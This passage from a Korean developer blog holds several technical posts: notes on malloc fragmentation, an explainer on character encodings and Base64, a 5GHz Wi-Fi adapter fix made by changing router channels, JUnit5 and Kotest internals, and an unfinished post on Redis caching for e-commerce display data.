이럴 경우 malloc이 타임아웃을 선언한 다음에 자유 체인 주위를 샅샅이 훑어 조각을 정렬하고 인접한 작은 자유 블록을 더 큰 블록으로 결합한다.
결국 오래 걸리는 작업이고, 이 모든 혼란의 끝은 malloc의 성능 특성이 결코 아주 빠르다고 볼 수 없으며, 정리하는 과정에서 예측 불가능하게 오래걸릴 수 있다는 사실로 귀결된다.

책을 읽으면서, 위의 내용이 학부생 때 배운 메모리 단편화의 문제면서, 해당 내용이 JVM 동작과 유사하다고 생각했다.

책에서는 이런 현상이 가비지 컬렉션을 지원하는 시스템과 동일한 성능 특성이며,

결국 전형적인 malloc 구현을 따라도 가비지 컬렉션과 비슷한 성능 이슈가 생길 수 있다고 말한다.

똑똑한 프로그래머는 항상 2배수로 메모리 블록을 할당하는 방법으로 잠재적적인 소란을 최소화한다.

이런 방법은 자유 체인에서 생기는 무시무시한 단편화 문제를 상당히 줄여준다.

또한 realloc을 호출할 때, 항상 직전에 할당했던 두배 크기로 기억 공간을 늘려야 한다고 한다.

이런 방식을 따른다면 realloc 호출이 log(n)번을 초과할 필요가 전혀 없으며,

아주 큰 문자열을 처리하는 경우라도 그럴 듯한 성능 특성을 보여주면서 동시에 결코 50%를 초과해서 기억 공간을 낭비하지 않음을 보장한다,

이후 책에서는 XML 을 별로라고 말하는 사람에게 장점도 말하는데(구문 트리 관련) 이는 생략하겠다.

포스팅 이유

책에서는 전공자들이 C를 대충 배우고 JAVA를 바로 사용하는 것을 비판하고 있다.

요즘 시대는 더욱 더 발전해서 AI 가 대부분의 코딩 작업을 수행한다.

프로그래머? 개발자로 살아가면서 제일 중요한 건 기초와 열정이라고 생각한다.

해당 글을 작성하면서 열정과 기초를 다지는 게 중요하다는 동기 부여를 위해 작성하게 되었다.

사실 C는 학부생 3학년부터 작성을 한 적이 없기에 허헣... 머쓱..

기초가 제일 중요한 법..!!!

책에서 준 숙제

트랜스메타 칩이 항상 굼벵이처럼 기어가는 이유
HTML의 기본 TABLE을 위한 규격 명세를 너무나도 형편없이 설계한 탓에, 모뎀 사용자의 웹 페이지에서는 큰 테이블이 늦게 뜨는 이유
COM이 너무 빠르지만, 프로세스 경계를 가로지를 때는 느린 이유
NT 개발자들이 화면 드라이버를 커널 공간에서 사용자 공간으로 이동한 이유

이상으로 포스팅을 마칩니다.

인코딩(Encoding) 이란

Debin — Sun, 26 Oct 2025 21:26:17 +0900

1. 인코딩이란

인코딩이란 사람이나 컴퓨터가 이해할 수 있는 형태로 정보를 변환하는 것이다.

문자 인코딩 정의와 단계

컴퓨터는 문자 그대로를 이해하지 못한다. 숫자(이진수)로만 이해할 수 있다.
그래서 문자를 숫자로 바꾸는 규칙이 필요한데, 이를 문자 인코딩이라고한다.

문자 선택
- 예: 사용자가 “A”를 입력.
문자표(Character Set)에서 코드값 찾기
- 각 문자에는 고유한 번호가 있음.
- 예: ASCII 표에서 A = 65
이진수 변환
- 65(10진수) → 01000001(2진수)
저장 또는 전송
- 파일이나 네트워크를 통해 01000001이 전송됨.
복호화(Decoding)
- 받는 쪽에서 같은 문자표를 이용해 01000001 → “A”로 변환

네트워크 인코딩 정의와 단계

인터넷으로 데이터를 주고 받을 때 글자나 파일을 전송 가능한 형태(ex: Base64)로 바꾸는 것도 인코딩이다.

Base64

Base64는 이진 데이터를 ASCII 텍스트 형식으로 변환해 준다.
이 방식은 텍스트만 처리할 수 있는 시스템에서 이진 데이터를 안전하게 전송할 수 있게 해준다.
예를 들어, 이메일 시스템은 일반적으로 텍스트 데이터를 주고받기 때문에 이미지를 이메일로 보내기 위해서는 Base64로 인코딩해야 한다.

디코딩은 변환된 데이터를 원래 형태로 되돌리는 과정을 의미한다.

2. 인코딩이 필요한 이유

컴퓨터와 소통하기 위함
- 컴퓨터는 전기 신호, 0과 1인 이진수로만 데이터를 처리할 수 있다.
- 그러나 사람들이 사용하는 건 글자, 이미지, 소리 같은 인간 친화적인 정보다.
- 그래서 이걸 컴퓨터가 읽을 수 있게 숫자나 코드로 변환(인코딩) 해야 한다.

호환성과 일관성을 유지하기 위함
- 세상에는 다양한 시스템이 존재하면서 각각 데이터 처리 방식이 다를 수 있다.
- 인코딩 규칙을 정하면 모든 시스템이 같은 데이터를 똑같이 이해할 수 있다.
- 일종의 표준 규격을 정한 것

3. 인코딩 형식과 수많은 형식이 존재하는 이유

컴퓨터가 처음 만들어졌을 때는 미국, 영어권에서 주로 사용했다.

그래서 초기에 만든 인코딩 표준은 영어 알파벳만 표현할 수 있었다.

예를 들어 ASCII 는 A~Z, 숫자, 기호 등 128개 문자만 표현이 가능하다.

한자와 한글, 일본어 등은 표현이 불가능하다.

이후 전 세계 사람들이 컴퓨터를 쓰기 시작하면서 문제가 생겼는데,

영어가 아닌 다른 언어는 ASCII로는 표현이 불가능했기 때문이다.

따라서 나라별로 자기 언어를 표현하기 위해 독자적인 인코딩 형식을 만들기 시작했다.

한국	EUC-KR, CP949
일본	Shift_JIS
중국	GB2312, GBK
전세계 공용	UTF-8

여기서 문제가 발생하는데, 서로 다른 인코딩을 쓰면 같은 문자가 다른 문자로 저장돼서 글자 깨짐 현상이 발생한다.

이를 해결하기 위해 모든 나라의 문자를 하나로 통합 코드로 표현하는 표준인 유니코드(Unicode) 가 등장했다.

그리고 유니코드를 실제로 저장하는 방식이 여러 가지인데,
그게 바로 UTF-8, UTF-16, UTF-32 같은 유니코드 인코딩 형식이다.

인코딩 형식	장점	단점	주 사용처
ASCII	단순, 작음	영어만 가능	초기 시스템
EUC-KR	한글 지원	다른 언어 깨짐	옛날 윈도우
UTF-8	전 세계 언어 호환	일부 문자 크기 커짐	웹, 현대 시스템
UTF-16	고정 길이(일부)	저장공간 큼	윈도우 내부, 모바일
UTF-32	단순 구조	공간 낭비 심함	특수 시스템

즉, “모든 문자 표현” vs “저장 효율” 사이의 트레이드오프 때문에 서로 다른 인코딩 형식이 계속 생겨났다.

5GHz Wi-Fi가 보이지 않아요

Debin — Fri, 10 Oct 2025 22:32:22 +0900

결혼 및 독립을 하면서 데스크탑도 새로 사고 인터넷도 새로 설치했다.

데스크탑 세팅을 하면서 와이파이 스캔을 하면 우리집 5GHz 와이파이가 안보이는 문제가 있었다.

해결 과정과 상황을 정리해보려고한다.

문제 상황 요약

5GHz Wi-Fi가 잡혀야 하는데 PC에서 우리집 공유기의 2.4GHZ만 보이고, 5GHz는 안보임
다른 5GHz 와이파이는 가끔씩 보임 → 5GHz 자체는 감지 가능
메인보드에 무선 LAN 카드가 없으므로 Realtek 8812BU 무선 랜카드 사용

이제 문제의 원인을 찾아보자.

✅1단계: 5GHz Wi-Fi 자체가 안 보임

다른 5GHz 와이파이는 보이고,

8812BU 무선 랜카드도 5GHz를 지원한다고 나와있지만 한 번 눈으로 확인해봤다.

netsh wlan show drivers

지원되는 주파수 형식은 802.11n 802.11g 802.11b 802.11ac 802.11n 802.11a 이다.

802.11ac, 802.11a, 802.11n 가 존재하므로 5GHz는 사용가능하다고 판단할 수 있다.

또한 지원되는 대역 수도 아래 사진과 같이 나온다.

지원되는 대역 수

개념 정리:

802.11 표준은 Wi-Fi(무선 LAN, Local Area Network)의 통신 규격을 정의한 국제적인 표준
802.11n: 2.4GHz와 5GHz 대역 모두를 지원하며, MIMO(Multiple Input Multiple Output) 기술을 도입하여 최대 600Mbps의 속도를 지원
802.11g: 2.4GHz 대역을 사용하며 802.11b보다 더 빠른 최대 54Mbps의 속도를 제공
802.11b: 최초의 Wi-Fi 표준 중 하나로, 2.4GHz 대역을 사용하며 최대 11Mbps의 속도를 지원
802.11ac: 5GHz 전용으로, 더 넓은 대역폭과 더 많은 채널을 지원하여 매우 빠른 속도(최대 1Gbps 이상)를 제공하며, 주로 최신 기기에서 사용
802.11a: 5GHz 대역을 사용하고, 최대 54Mbps의 속도를 지원하지만, 802.11b와는 호환되지 않는다.

✅ 2단계: 공유기와 랜 카드 암호화 방식 확인

구글링을 하다보니 공유기와 랜 카드의 암호화 방식이 다르면 서로 통신하지 못할 수 있다는 글을 발견했다.

먼저 공유기에 접속해서 확인해보니 5GHz 와이파이의 암호화 방식은 WPA2-PSK 였다.

8812BU 무선 랜카드도 WPA2-PSK 방식을 지원하므로 해당 내용은 문제가 아니라고 판단했다.

간단한 암호화 방식 보안 수준 설명 :

WEP	낮음	오래된 보안 방식, 취약점이 많음
WPA	중간	WEP의 보안 문제를 해결했지만 여전히 취약함, TKIP 사용 (매번 키 변경)
WPA2	높음	AES 암호화 방식 사용, 현재 가장 보편적이고 안전한 방식
WPA3	매우 높음	더 강력한 인증과 암호화를 제공, 최신 보안 표준

✅ 3단계: 공유기의 채널 확인

본격적으로 GPT와 협력을 시작했다.

우리집 공유기에 대한 내용을 얘기하면서 UNII 대역에 대해 알려줬다.

UNII 대역 (Unlicensed National Information Infrastructure)

무선에서 사용되는 주파수 대역 중 하나, 주로 WIFI와 같은 무선 네트워크 기술에서 사용되는 대역
면허가 필요 없는 주파수 대역으로, 누구나 사용 가능하다. -> 공용 주파수 대역
크게 4개로 나누어져있고, 주로 5GHz에서 사용 가능하다.

아래는 GPT가 알려준 내용이다.

UNII-1 (5.15 ~ 5.25 GHz)
- 주로 채널 36~48번
- 이 대역은 대부분의 Wi-Fi 기기들이 사용할 수 있으며, 짧은 거리에서 신호 전송을 위한 용도로 적합합니다.
- 보통 실내에서 사용하는 데 유용한 대역

UNII-2 (5.25 ~ 5.35 GHz)
- 주로 채널 52~64번
- 이 대역은 조금 더 넓은 범위의 신호를 지원하고, 고속 데이터 전송에 유리한 환경을 제공
- **DFS(동적 주파수 선택)**가 적용돼, 기상 레이더와 같은 중요한 시스템과 간섭을 피하기 위해 일부 채널에서의 사용에 제한이 있을 수 있다.

UNII-2 Extended (5.47 ~ 5.725 GHz)
- 주로 채널 100~140번
- 이 대역도 DFS가 적용돼 있어 기상 레이더와의 간섭을 피하기 위해 사용에 제한이 있을 수 있다.
- 이 대역은 더 긴 범위와 더 많은 데이터 전송을 지원하지만, 외부 간섭의 위험이 커지기 때문에 주의가 필요하다.

UNII-3 (5.725 ~ 5.85 GHz)
- 주로 채널 149~165번에 해당합니다.
- DFS가 적용되지 않는 대역으로, 높은 데이터 전송 속도를 지원하고, 장거리에서 유리한 성능을 보인다.
- 상대적으로 덜 사용되지만, 넓은 대역폭을 지원해 고속 인터넷이 필요한 환경에 적합하다.

개념 정리:

Wi-Fi 채널
- 채널이란 주파수 대역을 나눈 세부적인 구간을 의미
- 5GHz는 채널 36 (5180 MHz)부터 채널 165 (58320 MHz) 까지를 지원
- 채널은 대역폭과 간섭에 영향을 줌

DFS (Dynamic Frequency Selection)
- UNII-2와 UNII-2 Extended 대역에서는 DFS 규정을 준수해야 한다.
- 이 규정은 기상 레이더나 항공 시스템 등 중요한 통신 시스템과의 간섭을 방지하기 위해, Wi-Fi 장치가 자동으로 채널을 변경하도록 요구한다.
- 즉, 이 대역에서 Wi-Fi 기기를 사용할 때는 특정 조건에서 자동으로 채널을 변경해야 할 수 있다.

우리집 공유기 5GHz 채널은 153번으로 설정되어 있었다.

✅ 4단계: Realtek 8812BU 무선 어댑터의 호환성 문제

위 내용을 말하면서 자연스럽게 GPT가 아래와 같은 내용을 언급했다.

Realtek 8812BU 칩셋은 일부 채널(특히 UNII-3 채널)에서 SSID를 감지하지 못하는 문제가 자주 발생한다,
이유가 부실하지만 아래와 같이 설명해주었다.
- 드라이버나 펌웨어가 국가 규제 채널 맵을 제대로 반영하지 않음
- DFS 회피나 채널 제한 기능이 하드코딩되어 있는 경우도 있음

위와 같은 이유를 언급하면서 UNII-1 대역으로 공유기 채널은 변경할 것을 추천해줬다.

✅ 5단계: 공유기 채널을 44번으로 변경 → 문제 해결

호다닥 들어가서 5GHz 채널을 44번으로 바꿔주었다.

공유기 채널 변경

그랬더니 드디어!!! 데스크탑에 우리집 공유기 5GHz가 보인다...

연결했더니 와이파이만으로 250Mbps가 나온다 !

5GHz 와이파이 연결 성공

마무리

8812BU 무선 랜카드의 와이파이 채널 호환 문제였다. 변경하니 너무 잘 동작한다.

GPT 딸깍인 것 같지만, 이렇게 기록으로 남기면서 공부하면 그거 자체로 의미가 있는거 아닐까 라는 생각(정신 승리)을 해본다.

2025.09.06일에 결혼식을 치르면서 이것저것 하느라 블로그 글은 너무 오랜만이다. 다시 열심히해보자 !!!

Junit5 구조와 아키텍처 (with Junit이 main 없이 동작하는 이유)

Debin — Sat, 5 Apr 2025 12:09:30 +0900

개발 환경: IntelliJ 2024.3.1.1(Ultimate), JDK 21, Gradle 8.13

IntelliJ IDEA 환경과 Gradle 환경에서 Junit 살펴보기

오늘은 개발자들이 Junit을 사용하면서 스쳐지나갔을 main 함수가 없는데 Junit이 동작할 수 있는 이유에 대해 알아보고자 한다.

우선 인텔리제이에서 Build And Run 설정을 IntelliJ IDEA로 설정했다.

그리고 간단한 테스트 코드를 바로 프로파일링을 해보았다.

그럼 com.intellij.rt.junit.JunitStarter.main 메서드가 제일 먼저 실행된다.

이번에는 Build And Run 설정을 Gradle로 설정했다.

이제 다시 프로파일링을 진행해보자.

우선 제일 먼저 호출되는 코드는 GradleWorkerMain.main() 메서드다.

그럼 결론은 "IDE와 build tool인 gradle이 대신 실행시켜준다." 지만 이렇게 마무리하면 너무나도 허무하다.

그래서 JUnit 실행 로직을 살펴보려고한다.

사실 해당 글을 작성한 이유는 토비님의 아래 영상을 따라하면서 Junit3에 대한 구조를 어느 부분 학습하면서,

Junit5를 깊게 더 살펴보고 싶기 때문이다.

https://www.youtube.com/watch?v=tdKFZcZSJmg&t=348s

그럼 시작해보자.

우선 Gradle, IntelliJ IDEA로 실행하면서 공통되는 부분을 먼저 찾아보았다.

왼쪽 사진은 Gradle, 오른쪽은 IntelliJ IDEA

노란색 사각형부터 본격적인 공통 Junit 로직이 돌아가고 그 아래 부분은 호출하는 클래스 차이가 크다.

이 차이부터 알아보자.

먼저 얼티밋이 아닌 깃허브의 공개된 인텔리제이 커뮤니티 IDE 기준으로,

Junit5IdeaTestRunner는 Util 클래스를 활용해 테스트 진행할 파일을 읽어 LauncherDiscoveryRequest 객체를 만들어

Junit5의 Launcher에게 전달해 실행할 테스트를 결정하는데 사용된다.

https://github.com/JetBrains/intellij-community/blob/master/plugins/junit5_rt/src/com/intellij/junit5/JUnit5IdeaTestRunner.java

intellij-community/plugins/junit5_rt/src/com/intellij/junit5/JUnit5IdeaTestRunner.java at master · JetBrains/intellij-community

IntelliJ IDEA Community Edition & IntelliJ Platform - JetBrains/intellij-community

github.com

Gradle도 동일하게 살펴보니 JUnitPlatformTestClassProcessor.CollectAllTestClassesExecutor 클래스가

execute() 메서드를 기반으로 동일하게 LauncherDiscoveryRequest 만들어 Junit5의 Launcher에게 전달하고 있다.

결국 Junit5은 LauncherDiscoveryRequest를 Launcher.exeucte를 기반으로 동작하는 것이다.

Junit5 아키텍쳐

그래서 JunitLauncher에 대해 찾아보다 다음과 같은 좋은 글을 발견하게 되었다.

https://nipafx.dev/junit-5-architecture-jupiter/

JUnit 5 Architecture or "What's Jupiter?" // nipafx

The JUnit 5 architecture promotes a better separation of concerns than JUnit 4 did. It also provides clear APIs for testers (Jupiter) and tools (Platform).

nipafx.dev

Junit은 모든 기능이 하나의 아티팩트(artifact)에 번들로 제공되면서,
개발자, IDE, 빌드 도구, 다른 테스트 프레임워크 등이 모두 같은 아티팩트에 의존한다.
또한 IDE와 빌드 도구는 JUnit의 내부 구현에 깊이 의존하게 되었고, Junit 개발자들이 내부 구현을 쉽게 변경할 수 없게 되었다.

따라서 Juni5은 이런 문제를 해결하기 위해 개발되었다.

관심사를 분리하면서 2가지의 관심사와 더 많은 하위 관심사로 분리되었다.

테스트를 작성하기 위한 API
테스트를 발견하고 실행하는 메커니즘
1. 특정 유형의 테스트를 발견하고 실행하는 메커니즘 (Junit Jupiter, Junit vintage)
2. 여러 특정 메커니즘을 조율하는 메커니즘 (Junit Platform Launcher)
3. 이들 사이의 API (Junit Platform Engine API)

관심사가 분리되면서 도구로서의 JUnit(테스트를 작성할 때 사용)과 플랫폼으로서의 Junit(테스틀르 사용하는데 필요한)이 명확히 분리되었다.

이에 따라 Junit5는 3개의 하위 프로젝트로 분리되었다.

Junit Jupiter: 우리가 테스트를 작성할 때 사용하는 API와 이를 이해하기 위한 엔진(TestEngine 구현체)
Junit Vintage: Junit 3과 4로 작성된 테스트를 Junit5에서 실행할 수 있게 해주는 엔진(TestEngine 구현체)
Junit Platform
- 테스트를 발견하고 계획을 생성하는 TestEngine API를 포함하며, 해당 API를 사용하면 IDE(예: IntelliJ, Eclipse), 빌드 도구(예: Gradle, Maven)에서 JUnit 테스트 실행 가능

더 세분화하면 5개로 쪼갤 수 있다.

junit-jupiter-api
- 개발자가 테스트를 작성하는 API. JUnit 5의 기본 사항에서 논의했던 모든 어노테이션, 단언(assertions) 등을 포함
junit-jupiter-engine
- JUnit 5 테스트를 실행하는 junit-platform-engine API의 구현체
junit-vintage-engine
- JUnit 3 또는 4로 작성된 테스트를 실행하는 junit-platform-engine API의 구현체
- 여기서 JUnit 4 아티팩트 junit-4.12는 개발자가 테스트를 구현하는 API로 작용하지만 테스트 실행 방법에 대한 주요 기능도 포함하며 이 엔진은 JUnit 3/4를 버전 5에 맞게 조정하는 어댑터로 볼 수 있다.
junit-platform-engine: 모든 테스트 엔진이 구현해야 하는 API로, 통일된 방식으로 접근할 수 있게 한다. 엔진은 일반적인 JUnit 테스트를 실행할 수도 있지만, 대안적으로 TestNG, Spock, Cucumber 등으로 작성된 테스트를 실행할 수도 있다.
junit-platform-launcher: ServiceLoader를 사용하여 테스트 엔진 구현체를 발견하고 실행을 조율한다. IDE와 빌드 도구에 API를 제공하여 개별 테스트를 실행하고 결과를 표시하는 등의 테스트 실행과 상호 작용할 수 있게 한다.

junit 5 구조

우리는 눈으로 Gradle과 IntelliJ IDEA에서 junit-platform-launcher를 활용해 junit을 구동시키는 것을 보았다.

그럼 이제 큰 Junit5 내부 구조를 뜯어보자.

Junit 내부 구조

우선 내부 구조를 파악하려면 하나하나 뜯어야한다.

Build And Run을 Gradle로 설정했을 때 진행한 프로파일링 Call Tree로 뜯어보겠다.

먼저 Junit5의 Launcer가 junit.platform에 속한 EngineExecutionOrchestrator.execute 메서드를 호출한다.

이 클래스는 테스트 엔진들을 활용해 테스트 실행 과정 전체를 관리하고 진행한다.

다음으로 호출되는 클래스는 HierachicalTestEngine(정확한 구현체는 JupiterTestEngine)다.

TestEngine의 구현체로 Node 추상화를 기반으로 테스트 스위트를 계층적으로 구성하고자 하는 엔진에서 사용한다.

테스트 스위트!? 위에서 언급한 토비님 영상에서 코드를 따라치며 학습한 개념이다.

잠깐 삼천포로 빠져보자..

먼저 Junit에서 사용하는 용어 몇 가지를 정리해보자

테스트 케이스: 개별적인 테스트 메서드로, 특정 기능이나 동작을 검증 (@Test 붙은 메서드)
테스트 클래스: 여러 테스트 케이스(메서드)를 포함하는 클래스
테스트 스위트: Junit에서 테스트 스위트란 여러 테스트 클래스들을 모아서 그룹으로 실행할 수 있게 해준다

그리고 위에서 언급한 Node 추상화라는 개념은 무엇일까?

Node 인터페이스와 이를 구현한 다른 클래스들을 한번에 살펴보자.

Node 인터페이스는 '테스트 실행 구조에서 하나의 구성 요소'이다.

EngineExecutionContext, 실행 컨텍스트를 관리하며 테스트를 수행하고, 라이프 사이클 콜백 등을 제공한다.

그리고 구현체로 온갖 XxxTestDescriptor 클래스들이 들어가있는걸 확인할 수 있다.

TestDescriptor는 '테스트 엔진이 찾아낸 테스트나 테스트 그룹에 대한 정보를 담고 있는 수정 가능한 객체'이다.

생각보다 다양한 역할을 수행한다.

테스트 발견 단계에서 사용
테스트 구조의 메타 데이터 관리
계층적 테스트 구조 정의(부모 자식 관계)
테스트 식별자 관리
테스트 표시 이름 관리(IDE, 빌드 툴에서 사용)

테스트의 구조와 메타데이터를 표현하는 객체로, 테스트 실행 과정에서 필요한 정보를 담고 있다.

다시 호출 스택을 살펴보자

HierachicalTestEngine는 HierarchicalTestExecutor.execute()를 호출하며,

HierarchicalTestExecutor클래스는 SameThreadHierarchicalTestExecutorService에게 테스트 실행을 위임한다.

우리는 Junit 실행에 관해서 병렬 설정을 한게 없으므로 SameThreadHierarchicalTestExecutorService가 실행되는 것이다.

SameThreadHierarchicalTestExecutorService가 submit() 메서드를 호출하면서 NodeTesTask 클래스 객체를 인자로 넘겨주고, NodeTestTask 객체가 execute 메서드를 실행한다.

NodeTestTask 클래스가 테스트 스위트의 역할을 하는 core 클래스인데, execute() 메서드를 살펴보자.

executeRecursively() 메서드가 순환적으로 테스트를 수행한다.

메서드 내부에서 ThrowableCollector라는 클래스가 있는데, 예외가 터지면 인스턴스 변수 throwable에 Throwable 타입의 객체를 담는다.

reportCompletion()메서드에서 ThrowableCollector 클래스가 throwable 인스턴스 변수 값이 null이라면

TestExecutionResult를 SUCCESSFUL_RESULT로 돌려주고, 실패라면 FAILED를 리턴한다.

NodeTestTask의 코어 부분만 정리를 해보겠다.

NodeTestTask에서 순환적으로 하위 NodeTestTask를 수행하며, 테스트를 수행한다.
ROOT에서 Test1 클래스와 Test2클래스를 수행하면, Test1, Test2 클래스 내부의 모든 테스트 메서드가 수행되는 것이다.
모든 NodeTestTask는 ThrowableCollector 타입의 인스턴스 변수가 있는데, 해당 클래스의 필드에 Throwable 타입의 필드 값이 null이라면 ThrowableCollector 클래스가 TestExecutinoResult를 SUCCESSFUL_RESULT로 리턴하고, null이 아니라면 FAILED로 리턴한다.
TestExecutionResult가 IDE에서 테스트가 성공했는지 실패했는지를 보여주는 결과물이다.

토비님 영상과 TDD 책에서는 TestCase.run의 파라미터로 TestResult를 받아서 처리했는데,

Junit5는 ThrowableCollector를 사용해 처리한다.

남아있는 의문은 TestExecutionResult를 어떻게 IDE에서 예쁘게 보여주는지다.

이는 추후에 확인을 해보는걸로..

이상으로 포스팅을 마칩니다. 감사합니다.

Kotest 주의할 점 (with Spring)

Debin — Fri, 21 Mar 2025 00:12:00 +0900

오늘은 실무에서 Kotest와 스프링을 같이 사용하면서 당황한 부분을 정리하고, Kotest Isolation Modes에 대해 정리할 예정이다.

Kotest Isolation Modes

IsolationMode라는 Enum을 활용해 테스트 케이스 인스턴스를 어떻게 생성하는지 제어할 수 있다.

IsolationMode Enum은 총 3가지 값이 있다.

IsolationMode.SingleInstance
IsolationMode.InstancePerTest
IsolationMode.InstancePerLeaf

IsolationMode.SingleInstance

해당 Enum은 Spec(Fun Spec, Behavior Spec 등) 클래스의 인스턴스가 하나만 생성되고,

모든 테스트 케이스가 차례대로 실행되며, 모든 테스트가 완료될 때까지 동일한 인스턴스가 사용된다.

즉, 하나의 인스턴스에서 여러 테스트가 실행되며,

그 인스턴스에서의 상태나 변수 값이 테스트 간에 공유될 수 있다는 의미다.

다음과 같은 코드에서는 모두 동일한 값이 출력된다.

class ExampleTest: BehaviorSpec({
	isolationMode = IsolationMode.SingleInstance
	given("A") {
		val id = UUID.randomUUID()
		println(id)
		`when`("B") {
			println(id)
			then("C") {
				println(id)
			}
		}
	}
})

IsolationMode.SingleInstance 테스트 결과

IsolationMode.InstancePerTest

해당 enum을 IsolationMode로 설정하면 각각의 테스트 케이스마다 새로운 Spec 인스턴스가 생성된다.

공식 문서에서는 내부 컨텍스트도 포함되며, 외부 컨텍스트가 각각 독립적인 테스트로 실행되고 각기 다른 Spec 인스턴스에서 실행된다고 한다.

외부 컨텍스트는 given, when이고 내부 컨텍스트는 then이라고 이해하면 될 것 같다.

class ExampleTest: BehaviorSpec({
	isolationMode = IsolationMode.InstancePerTest
	given("A") {
		val id = UUID.randomUUID()
		println("A: ${id}")
		`when`("B") {
			println("B: ${id}")
			then("C") {
				println("C: ${id}")
			}
		}
	}
})

IsolationMode.InstancePerTest 테스트 결과

A가 먼저 실행되고, 그런 다음 B를 다시 실행하고, 마지막에 C에 대해서도 실행했다.

각각의 실행이 새로운 Spec 클래스의 새로운 인스턴스에서 이루어진 것이다.

이 방식은 이전 테스트에서 사용된 변수가 다음 테스트에 영향되지 않으므로, 변수를 재사용하고 할 때 유용하다.

이를 통해 테스트가 독립적으로 실행된다.

IsolationMode.InstancePerLeaf

해당 enum을 IsolationMode로 설정하면 각각의 리프 테스트 케이스마다 새로운 Spec 인스터느가 생성된다.

리프 테스트 케이스란 실제 테스트가 실행되는 끝 부분을 의미하며, 내부 컨텍스트는 포함되지 않는다.

즉, 내부 컨텍스트는 외부 테스트로 가는 path의 일부로만 실행되는 것이다.

이 방식은 내부 컨텍스트가 외부 테스트를 위한 준비 역할을 할 때 유용하다.

class ExampleTest: BehaviorSpec({
	isolationMode = IsolationMode.InstancePerLeaf
	given("A") {
		val id = UUID.randomUUID()
		println("A: ${id}")
		`when`("B") {
			println("B: ${id}")
			then("C") {
				println("C: ${id}")
			}
		}
		`when`("D") {
			println("D: ${id}")
			then("E") {
				println("E: ${id}")
			}
		}
	}
})

IsolationMode.InstancePerLeaf 테스트 결과

외부 컨텍스트인 테스트 a,b가 먼저 실행된 후, 테스트 c는 같은 인스턴스에서 실행된다.

그런 다음 새로운 Spec 인스턴스가 생성되고, 다시 테스트 a,d가 실행된 후, 테스트 e가 실행됩니다.

즉, 테스트 c는 같은 Spec 인스턴스에서 실행되지만, 테스트 e는 새로운 Spec 인스턴스에서 실행된다.

Kotest 사용하기 with Spring

kotest를 활용하는 테스트 코드에서 AbstractTestExecutionListener 구현해 사용하려고 했는데,

구현체 리스너가 동작하지 않았다.

공식 문서를 살펴보니 SpringExtension을 사용해야한다고 적혀있었다.

이를 설정해 통합 테스트를 돌려보았다.

class KotestProjectConfig : AbstractProjectConfig() {
    override fun extensions() = listOf(SpringExtension)
}

다음과 같은 설정을 해도 의도한대로 테스트가 수행되지 않았다.

원인을 살펴보니 위 설정이 SpringTestLifecycleMode.Test를 디폴트 값으로 사용하고 있었기 때문이다.

이 부분에 대해 먼저 정리하겠다.

SpringTestLifecycleMode는 먼저 2가지가 있다.

SpringTestLifecycleMode.Root: 루트 노드에서 테스트 메서드 콜백을 실행하도록 설정한다.
SpringTestLifecycleMode.Test: 리프 노드에서 테스트 메서드 콜백을 실행하도록 설정한다.

SpringExtension을 뜯어보면 아래 조건을 맞추면 TestExecutionListener들이 동작한다.

먼저 보이는 TestType에 대해 정리하자.

Container, Test, Dynamic 총 3가지가 있다.

테스트가 부모 노드(parent node)로 다른 노드를 포함할 수 있다면, 이를 'Container' 유형이라고 한다.

describe나 context와 같은 블록이 해당할 수 있으며, 이 블록 안에서 여러 개의 it 테스트를 정의할 수 있다.

만약 테스트가 단말 노드(leaf node)이고 다른 테스트를 포함할 수 없다면, 이를 'Test' 유형이라고 한다.

it, then과 같은 구문이 해당된다.

'Dynamic'은 동적 테스트는 컨테이너일 수도 있고, 단말 테스트일 수도 있는 유형으로,

속성 테스트나 데이터 테스트와 같은 기능을 통해 동적으로 테스트가 추가되는 경우 사용된다.

실제 테스트 코드 구조는 아래와 같다.

class XxTest: BehaviorSpec({
	given("값 세팅") {
		`when`("로직 수행") {
			then("결과 검증") {
			}
		}
	}
})

그럼 결국 현재 TestType.Test에 걸리므로 then 이전에 리스너가 동작을 해서 발생하는 문제인 것이다

실제로 디버깅을 해보니 TestExecutionListener.beforeTestMethod()가 then 절 직전에 동작하고 있었다.

결론

필자가 의도한 테스트 케이스 순서는 IsolationMode.InstancePerTest와 맞아 이를 선택했으며,

(then 절 갯수만큼, given과 when절이 매번 재수행)

TestExecutionListener가 given 이전에 동작하는 것을 원해 SpringTestLifecycleMode.Root를 설정으로 주었다.

kotest를 기반으로 작성한 스프링 테스트가 잘 동작한다..!

역시 공식 문서 최고.

이상으로 포스팅을 마칩니다. 감사합니다.

참고 자료

https://kotest.io/

전시 도메인 캐싱에 대한 잡다한 생각들

Debin — Wed, 5 Feb 2025 01:28:58 +0900

이번 포스팅에서는 화면 레이아웃, 팝업, 배너, 카테고리와 같은 전시 도메인,

전시 영역에 대한 캐싱을 적용하면서 본인이 생각한 중요한 포인트 및 자잘한 생각들을 정리해보려고 한다.

프로젝트(이커머스)를 코프링으로 진행했으므로 아마 스프링과 JVM 관점에서 설명하는 내용이 존재할 것이다.

인프라는 AWS이며, 데이터베이스로는 SQL(Oracle)과 Redis를 사용 중이다.

캐싱 적용 이유 및 놓친 부분

캐싱 적용은 6개월 또는 분기마다 트래픽이 높아지는 이벤트가 있는데 이에 도움이 되고자 진행한 작업이다.

사실 이커머스에서 유저가 몰릴 때 부하가 제일 많이 생기는 곳은 상품 도메인이다.

그래도 팀에서 전시 도메인 특징 상 자주 수정이 되지 않고 조회는 많으므로 캐싱 적용이 알맞고 도움이 될 것이라고 판단했다.

다른 얘기지만.. 수정이 드물고 조회는 많은 전시 도메인은 MongoDB와 같은 NoSQL이 잘 어울린다고 생각한다.

하지만 현재 프로젝트는 경제적(?)인 관점으로 보았을 때 SQL(Oracle)을 NoSQL(MongoDB)로 마이그레이션하고,

새로운 기술을 프로젝트에 도입해 개선하는 건 마이너스다.

아무튼.. 잠시 얘기가 샜지만 프로젝트에서는 Redis를 사용한 캐싱을 도입하기로 결정했다.

웹 애플리케이션(Tomcat) 로컬 캐시 적용에 대해 생각해봤는데..
결국 전시 도메인 데이터를 수정하면 다중 서버 로컬 캐시에 반영하기 힘드므로 로컬 캐시는 적절하지 않은 것 같다.

스프링에서는 캐시를 잘 추상화해 놓았으므로 @Cacheable과 @CacheEvict를 사용해서 열심히 캐시를 적용하고 무효화도 구현했다.

캐시 전략 또한 Look Aside 패턴을 활용해 Redis에 없으면 Oracle에서 조회하고 값을 Redis에 담았다.

열심히 캐시를 적용하면서 중간에 문제를 발견했다.

